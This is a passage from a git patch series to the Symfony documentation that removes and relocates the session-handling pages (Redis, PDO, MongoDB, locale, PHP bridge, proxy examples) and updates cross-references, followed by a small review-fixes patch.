-        // config/services.php
-        use Symfony\Component\DependencyInjection\Reference;
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
-
-        $container
-            ->register(RedisSessionHandler::class)
-            ->addArgument(
-                new Reference('Redis'),
-                // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                // which define the prefix to use for the keys to avoid collision on the Redis server
-                // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
-                // ['prefix' => 'my_prefix', 'ttl' => 600],
-            );
-
-Next, use the :ref:`handler_id <config-framework-session-handler-id>`
-configuration option to tell Symfony to use this service as the session handler:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            session:
-                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:session handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"/>
-        </framework:config>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->session()
-                ->handlerId(RedisSessionHandler::class)
-            ;
-        };
-
-That's all! Symfony will now use your Redis server to read and write the session
-data. The main drawback of this solution is that Redis does not perform session
-locking, so you can face *race conditions* when accessing sessions. For example,
-you may see an *"Invalid CSRF token"* error because two requests were made in
-parallel and only the first one stored the CSRF token in the session.
-
-.. seealso::
-
-    If you use Memcached instead of Redis, follow a similar approach but replace
-    ``RedisSessionHandler`` by :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
-
-Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
---------------------------------------------------------------------
-
-Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
-to store sessions in relational databases like MariaDB, MySQL and PostgreSQL. To use it,
-first register a new handler service with your database credentials:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
-                arguments:
-                    - '%env(DATABASE_URL)%'
-
-                    # you can also use PDO configuration, but requires passing two arguments
-                    # - 'mysql:dbname=mydatabase; host=myhost; port=myport'
-                    # - { db_username: myuser, db_password: mypassword }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
-                    <argument>%env(DATABASE_URL)%</argument>
-
-                    <!-- you can also use PDO configuration, but requires passing two arguments: -->
-                    <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument>
-                        <argument type="collection">
-                            <argument key="db_username">myuser</argument>
-                            <argument key="db_password">mypassword</argument>
-                        </argument> -->
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(PdoSessionHandler::class)
-                ->args([
-                    env('DATABASE_URL'),
-                    // you can also use PDO configuration, but requires passing two arguments:
-                    // 'mysql:dbname=mydatabase; host=myhost; port=myport',
-                    // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
-                ])
-            ;
-        };
-
-.. tip::
-
-    When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
-    contain the ``charset`` and ``unix_socket`` options as query string parameters.
-
-    .. versionadded:: 5.3
-
-        The support for ``charset`` and ``unix_socket`` options was introduced
-        in Symfony 5.3.
-
-Next, use the :ref:`handler_id <config-framework-session-handler-id>`
-configuration option to tell Symfony to use this service as the session handler:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                # ...
-                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:session
-                handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"/>
-        </framework:config>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->session()
-                ->handlerId(PdoSessionHandler::class)
-            ;
-        };
-
-Configuring the Session Table and Column Names
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The table used to store sessions is called ``sessions`` by default and defines
-certain column names. You can configure these values with the second argument
-passed to the ``PdoSessionHandler`` service:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
-                arguments:
-                    - '%env(DATABASE_URL)%'
-                    - { db_table: 'customer_session', db_id_col: 'guid' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
-                    <argument>%env(DATABASE_URL)%</argument>
-                    <argument type="collection">
-                        <argument key="db_table">customer_session</argument>
-                        <argument key="db_id_col">guid</argument>
-                    </argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(PdoSessionHandler::class)
-                ->args([
-                    env('DATABASE_URL'),
-                    ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
-                ])
-            ;
-        };
-
-These are parameters that you can configure:
-
-``db_table`` (default ``sessions``):
-    The name of the session table in your database;
-
-``db_username``: (default: ``''``)
-    The username used to connect when using the PDO configuration (when using
-    the connection based on the ``DATABASE_URL`` env var, it overrides the
-    username defined in the env var).
-
-``db_password``: (default: ``''``)
-    The password used to connect when using the PDO configuration (when using
-    the connection based on the ``DATABASE_URL`` env var, it overrides the
-    password defined in the env var).
-
-``db_id_col`` (default ``sess_id``):
-    The name of the column where to store the session ID (column type: ``VARCHAR(128)``);
-
-``db_data_col`` (default ``sess_data``):
-    The name of the column where to store the session data (column type: ``BLOB``);
-
-``db_time_col`` (default ``sess_time``):
-    The name of the column where to store the session creation timestamp (column type: ``INTEGER``);
-
-``db_lifetime_col`` (default ``sess_lifetime``):
-    The name of the column where to store the session lifetime (column type: ``INTEGER``);
-
-``db_connection_options`` (default: ``[]``)
-    An array of driver-specific connection options;
-
-``lock_mode`` (default: ``LOCK_TRANSACTIONAL``)
-    The strategy for locking the database to avoid *race conditions*. Possible
-    values are ``LOCK_NONE`` (no locking), ``LOCK_ADVISORY`` (application-level
-    locking) and ``LOCK_TRANSACTIONAL`` (row-level locking).
-
-Preparing the Database to Store Sessions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Before storing sessions in the database, you must create the table that stores
-the information. The session handler provides a method called
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
-to set up this table for you according to the database engine used::
-
-    try {
-        $sessionHandlerService->createTable();
-    } catch (\PDOException $exception) {
-        // the table could not be created for some reason
-    }
-
-If you prefer to set up the table yourself, it's recommended to generate an
-empty database migration with the following command:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:generate
-
-Then, find the appropriate SQL for your database below, add it to the migration
-file and run the migration with the following command:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:migrate
-
-.. _mysql:
-
-MariaDB/MySQL
-.............
-
-.. code-block:: sql
-
-    CREATE TABLE `sessions` (
-        `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
-        `sess_data` BLOB NOT NULL,
-        `sess_lifetime` INTEGER UNSIGNED NOT NULL,
-        `sess_time` INTEGER UNSIGNED NOT NULL,
-        INDEX `sessions_sess_lifetime_idx` (`sess_lifetime`)
-    ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
-
-.. note::
-
-    A ``BLOB`` column type (which is the one used by default by ``createTable()``)
-    stores up to 64 kb. If the user session data exceeds this, an exception may
-    be thrown or their session will be silently reset. Consider using a ``MEDIUMBLOB``
-    if you need more space.
-
-PostgreSQL
-..........
-
-.. code-block:: sql
-
-    CREATE TABLE sessions (
-        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data BYTEA NOT NULL,
-        sess_lifetime INTEGER NOT NULL,
-        sess_time INTEGER NOT NULL
-    );
-    CREATE INDEX sessions_sess_lifetime_idx ON sessions (sess_lifetime);
-
-Microsoft SQL Server
-....................
-
-.. code-block:: sql
-
-    CREATE TABLE sessions (
-        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data NVARCHAR(MAX) NOT NULL,
-        sess_lifetime INTEGER NOT NULL,
-        sess_time INTEGER NOT NULL,
-        INDEX sessions_sess_lifetime_idx (sess_lifetime)
-    );
-
-Store Sessions in a NoSQL Database (MongoDB)
---------------------------------------------
-
-Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler`
-to store sessions in the MongoDB NoSQL database. First, make sure to have a
-working MongoDB connection in your Symfony application as explained in the
-`DoctrineMongoDBBundle configuration`_ article.
-
-Then, register a new handler service for ``MongoDbSessionHandler`` and pass it
-the MongoDB connection as argument:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
-                arguments:
-                    - '@doctrine_mongodb.odm.default_connection'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
-                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(MongoDbSessionHandler::class)
-                ->args([
-                    service('doctrine_mongodb.odm.default_connection'),
-                ])
-            ;
-        };
-
-Next, use the :ref:`handler_id <config-framework-session-handler-id>`
-configuration option to tell Symfony to use this service as the session handler:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                # ...
-                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:session
-                handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"/>
-        </framework:config>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->session()
-                ->handlerId(MongoDbSessionHandler::class)
-            ;
-        };
-
-.. note::
-
-    MongoDB ODM 1.x only works with the legacy driver, which is no longer
-    supported by the Symfony session class. Install the ``alcaeus/mongo-php-adapter``
-    package to retrieve the underlying ``\MongoDB\Client`` object or upgrade to
-    MongoDB ODM 2.0.
-
-That's all! Symfony will now use your MongoDB server to read and write the
-session data. You do not need to do anything to initialize your session
-collection. However, you may want to add an index to improve garbage collection
-performance. Run this from the `MongoDB shell`_:
-
-.. code-block:: javascript
-
-    use session_db
-    db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
-
-Configuring the Session Field Names
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The collection used to store sessions defines certain field names. You can
-configure these values with the second argument passed to the
-``MongoDbSessionHandler`` service:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
-                arguments:
-                    - '@doctrine_mongodb.odm.default_connection'
-                    - { id_field: '_guid', 'expiry_field': 'eol' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
-                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
-                    <argument type="collection">
-                        <argument key="id_field">_guid</argument>
-                        <argument key="expiry_field">eol</argument>
-                    </argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(MongoDbSessionHandler::class)
-                ->args([
-                    service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
-                ])
-            ;
-        };
-
-These are parameters that you can configure:
-
-``id_field`` (default ``_id``):
-    The name of the field where to store the session ID;
-
-``data_field`` (default ``data``):
-    The name of the field where to store the session data;
-
-``time_field`` (default ``time``):
-    The name of the field where to store the session creation timestamp;
-
-``expiry_field`` (default ``expires_at``):
-    The name of the field where to store the session lifetime.
-
-.. _`phpredis extension`: https://github.com/phpredis/phpredis
-.. _`DoctrineMongoDBBundle configuration`: https://symfony.com/doc/master/bundles/DoctrineMongoDBBundle/config.html
-.. _`MongoDB shell`: https://docs.mongodb.com/manual/mongo/
diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
deleted file mode 100644
index 483c581adb9..00000000000
--- a/session/locale_sticky_session.rst
+++ /dev/null
@@ -1,188 +0,0 @@
-.. index::
-    single: Sessions, saving locale
-
-Making the Locale "Sticky" during a User's Session
-==================================================
-
-Symfony stores the locale setting in the Request, which means that this setting
-is not automatically saved ("sticky") across requests. But, you *can* store the locale
-in the session, so that it's used on subsequent requests.
-
-.. _creating-a-LocaleSubscriber:
-
-Creating a LocaleSubscriber
----------------------------
-
-Create a :ref:`new event subscriber <events-subscriber>`. Typically, ``_locale``
-is used as a routing parameter to signify the locale, though you can determine the
-correct locale however you want::
-
-    // src/EventSubscriber/LocaleSubscriber.php
-    namespace App\EventSubscriber;
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-
-    class LocaleSubscriber implements EventSubscriberInterface
-    {
-        private $defaultLocale;
-
-        public function __construct(string $defaultLocale = 'en')
-        {
-            $this->defaultLocale = $defaultLocale;
-        }
-
-        public function onKernelRequest(RequestEvent $event)
-        {
-            $request = $event->getRequest();
-            if (!$request->hasPreviousSession()) {
-                return;
-            }
-
-            // try to see if the locale has been set as a _locale routing parameter
-            if ($locale = $request->attributes->get('_locale')) {
-                $request->getSession()->set('_locale', $locale);
-            } else {
-                // if no explicit locale has been set on this request, use one from the session
-                $request->setLocale($request->getSession()->get('_locale', $this->defaultLocale));
-            }
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                // must be registered before (i.e. with a higher priority than) the default Locale listener
-                KernelEvents::REQUEST => [['onKernelRequest', 20]],
-            ];
-        }
-    }
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-you're done! Symfony will automatically know about the event subscriber and call
-the ``onKernelRequest`` method on each request.
-
-To see it working, either set the ``_locale`` key on the session manually (e.g.
-via some "Change Locale" route & controller), or create a route with the :ref:`_locale default <translation-locale-url>`.
-
-.. sidebar:: Explicitly Configure the Subscriber
-
-    You can also explicitly configure it, in order to pass in the :ref:`default_locale <config-framework-default_locale>`:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/services.yaml
-            services:
-                # ...
-
-                App\EventSubscriber\LocaleSubscriber:
-                    arguments: ['%kernel.default_locale%']
-                    # uncomment the next line if you are not using autoconfigure
-                    # tags: [kernel.event_subscriber]
-
-        .. code-block:: xml
-
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <services>
-                    <service id="App\EventSubscriber\LocaleSubscriber">
-                        <argument>%kernel.default_locale%</argument>
-
-                        <!-- uncomment the next line if you are not using autoconfigure -->
-                        <!-- <tag name="kernel.event_subscriber"/> -->
-                    </service>
-                </services>
-            </container>
-
-        .. code-block:: php
-
-            // config/services.php
-            use App\EventSubscriber\LocaleSubscriber;
-
-            $container->register(LocaleSubscriber::class)
-                ->addArgument('%kernel.default_locale%')
-                // uncomment the next line if you are not using autoconfigure
-                // ->addTag('kernel.event_subscriber')
-            ;
-
-That's it! Now celebrate by changing the user's locale and seeing that it's
-sticky throughout the request.
-
-Remember, to get the user's locale, always use the :method:`Request::getLocale <Symfony\\Component\\HttpFoundation\\Request::getLocale>`
-method::
-
-    // from a controller...
-    use Symfony\Component\HttpFoundation\Request;
-
-    public function index(Request $request)
-    {
-        $locale = $request->getLocale();
-    }
-
-Setting the Locale Based on the User's Preferences
---------------------------------------------------
-
-You might want to improve this technique even further and define the locale based on
-the user entity of the logged in user. However, since the ``LocaleSubscriber`` is called
-before the ``FirewallListener``, which is responsible for handling authentication and
-setting the user token on the ``TokenStorage``, you have no access to the user
-which is logged in.
-
-Suppose you have a ``locale`` property on your ``User`` entity and
-want to use this as the locale for the given user. To accomplish this,
-you can hook into the login process and update the user's session with this
-locale value before they are redirected to their first page.
-
-To do this, you need an event subscriber on the ``security.interactive_login``
-event::
-
-    // src/EventSubscriber/UserLocaleSubscriber.php
-    namespace App\EventSubscriber;
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\RequestStack;
-    use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
-    use Symfony\Component\Security\Http\SecurityEvents;
-
-    /**
-     * Stores the locale of the user in the session after the
-     * login. This can be used by the LocaleSubscriber afterwards.
-     */
-    class UserLocaleSubscriber implements EventSubscriberInterface
-    {
-        private $requestStack;
-
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
-        }
-
-        public function onInteractiveLogin(InteractiveLoginEvent $event)
-        {
-            $user = $event->getAuthenticationToken()->getUser();
-
-            if (null !== $user->getLocale()) {
-                $this->requestStack->getSession()->set('_locale', $user->getLocale());
-            }
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',
-            ];
-        }
-    }
-
-.. caution::
-
-    In order to update the language immediately after a user has changed
-    their language preferences, you also need to update the session when you change
-    the ``User`` entity.
diff --git a/session/php_bridge.rst b/session/php_bridge.rst
deleted file mode 100644
index a0fbfc8e06b..00000000000
--- a/session/php_bridge.rst
+++ /dev/null
@@ -1,108 +0,0 @@
-.. index::
-   single: Sessions
-
-Bridge a legacy Application with Symfony Sessions
-=================================================
-
-If you're integrating the Symfony full-stack Framework into a legacy application
-that starts the session with ``session_start()``, you may still be able to
-use Symfony's session management by using the PHP Bridge session.
-
-If the application has its own PHP save handler, you can specify null
-for the ``handler_id``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                storage_factory_id: session.storage.factory.php_bridge
-                handler_id: ~
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <framework:config>
-                <framework:session storage-factory-id="session.storage.factory.php_bridge"
-                    handler-id="null"
-                />
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->session()
-                ->storageFactoryId('session.storage.factory.php_bridge')
-                ->handlerId(null)
-            ;
-        };
-
-Otherwise, if the problem is that you cannot avoid the application
-starting the session with ``session_start()``, you can still make use of
-a Symfony based session save handler by specifying the save handler as in
-the example below:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                storage_factory_id: session.storage.factory.php_bridge
-                handler_id: session.handler.native_file
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <framework:config>
-                <framework:session storage-id="session.storage.php_bridge"
-                    handler-id="session.storage.native_file"
-                />
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->session()
-                ->storageFactoryId('session.storage.factory.php_bridge')
-                ->handlerId('session.storage.native_file')
-            ;
-        };
-
-.. note::
-
-    If the legacy application requires its own session save handler, do not
-    override this. Instead set ``handler_id: ~``. Note that a save handler
-    cannot be changed once the session has been started. If the application
-    starts the session before Symfony is initialized, the save handler will
-    have already been set. In this case, you will need ``handler_id: ~``.
-    Only override the save handler if you are sure the legacy application
-    can use the Symfony save handler without side effects and that the session
-    has not been started before Symfony is initialized.
-
-For more details, see :doc:`/components/http_foundation/session_php_bridge`.
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
deleted file mode 100644
index 67d46adb27b..00000000000
--- a/session/proxy_examples.rst
+++ /dev/null
@@ -1,145 +0,0 @@
-.. index::
-   single: Sessions, Session Proxy, Proxy
-
-Session Proxy Examples
-======================
-
-The session proxy mechanism has a variety of uses and this article demonstrates
-two common uses. Rather than using the regular session handler, you can create
-a custom save handler by defining a class that extends the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Proxy\\SessionHandlerProxy`
-class.
-
-Then, define the class as a :ref:`service <service-container-creating-service>`.
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that happens automatically.
-
-Finally, use the ``framework.session.handler_id`` configuration option to tell
-Symfony to use your session handler instead of the default one:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                # ...
-                handler_id: App\Session\CustomSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <framework:config>
-                <framework:session handler-id="App\Session\CustomSessionHandler"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use App\Session\CustomSessionHandler;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->session()
-                ->handlerId(CustomSessionHandler::class)
-            ;
-        };
-
-Keep reading the next sections to learn how to use the session handlers in practice
-to solve two common use cases: encrypt session information and define read-only
-guest sessions.
-
-Encryption of Session Data
---------------------------
-
-If you want to encrypt the session data, you can use the proxy to encrypt and
-decrypt the session as required. The following example uses the `php-encryption`_
-library, but you can adapt it to any other library that you may be using::
-
-    // src/Session/EncryptedSessionProxy.php
-    namespace App\Session;
-
-    use Defuse\Crypto\Crypto;
-    use Defuse\Crypto\Key;
-    use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
-
-    class EncryptedSessionProxy extends SessionHandlerProxy
-    {
-        private $key;
-
-        public function __construct(\SessionHandlerInterface $handler, Key $key)
-        {
-            $this->key = $key;
-
-            parent::__construct($handler);
-        }
-
-        public function read($id)
-        {
-            $data = parent::read($id);
-
-            return Crypto::decrypt($data, $this->key);
-        }
-
-        public function write($id, $data)
-        {
-            $data = Crypto::encrypt($data, $this->key);
-
-            return parent::write($id, $data);
-        }
-    }
-
-Read-only Guest Sessions
-------------------------
-
-There are some applications where a session is required for guest users, but
-where there is no particular need to persist the session. In this case you
-can intercept the session before it is written::
-
-    // src/Session/ReadOnlySessionProxy.php
-    namespace App\Session;
-
-    use App\Entity\User;
-    use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
-    use Symfony\Component\Security\Core\Security;
-
-    class ReadOnlySessionProxy extends SessionHandlerProxy
-    {
-        private $security;
-
-        public function __construct(\SessionHandlerInterface $handler, Security $security)
-        {
-            $this->security = $security;
-
-            parent::__construct($handler);
-        }
-
-        public function write($id, $data)
-        {
-            if ($this->getUser() && $this->getUser()->isGuest()) {
-                return;
-            }
-
-            return parent::write($id, $data);
-        }
-
-        private function getUser()
-        {
-            $user = $this->security->getUser();
-            if (is_object($user)) {
-                return $user;
-            }
-        }
-    }
-
-.. _`php-encryption`: https://github.com/defuse/php-encryption
diff --git a/translation.rst b/translation.rst
index d58b1c6e173..b11136dffb6 100644
--- a/translation.rst
+++ b/translation.rst
@@ -39,7 +39,7 @@ The translation process has several steps:
 
 #. Determine, :doc:`set and manage the user's locale </translation/locale>`
    for the request and optionally
-   :doc:`on the user's entire session </session/locale_sticky_session>`.
+   :ref:`on the user's entire session <locale-sticky-session>`.
 
 Installation
 ------------
diff --git a/translation/locale.rst b/translation/locale.rst
index d4a28f74961..efd7cc077a2 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -33,8 +33,8 @@ it::
     listener priority to a higher value than ``LocaleListener`` priority (which
     you can obtain by running the ``debug:event kernel.request`` command).
 
-Read :doc:`/session/locale_sticky_session` for more information on making
-the user's locale "sticky" to their session.
+Read :ref:`locale-sticky-session` for more information on making the user's
+locale "sticky" to their session.
 
 .. note::
 

From 0c5fe69750fe0f11f60e72fb1160d85a14815cf2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 7 Jan 2023 12:21:03 +0100
Subject: [PATCH 4052/7107] Minor fixes after review

---
 session.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/session.rst b/session.rst
index 2d6c9cd2012..aa40cbb20e0 100644
--- a/session.rst
+++ b/session.rst
@@ -513,7 +513,7 @@ a Symfony service for the connection to the Redis server:
                     # uncomment the following if your Redis server requires a password
                     # - auth:
                     #     - '%env(REDIS_PASSWORD)%'
-                    
+
                     # uncomment the following if your Redis server requires a user and a password (when user is not default)
                     # - auth:
                     #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
@@ -677,7 +677,7 @@ To use it, first register a new handler service with your database credentials:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler">
                     <argument>%env(DATABASE_URL)%</argument>
 
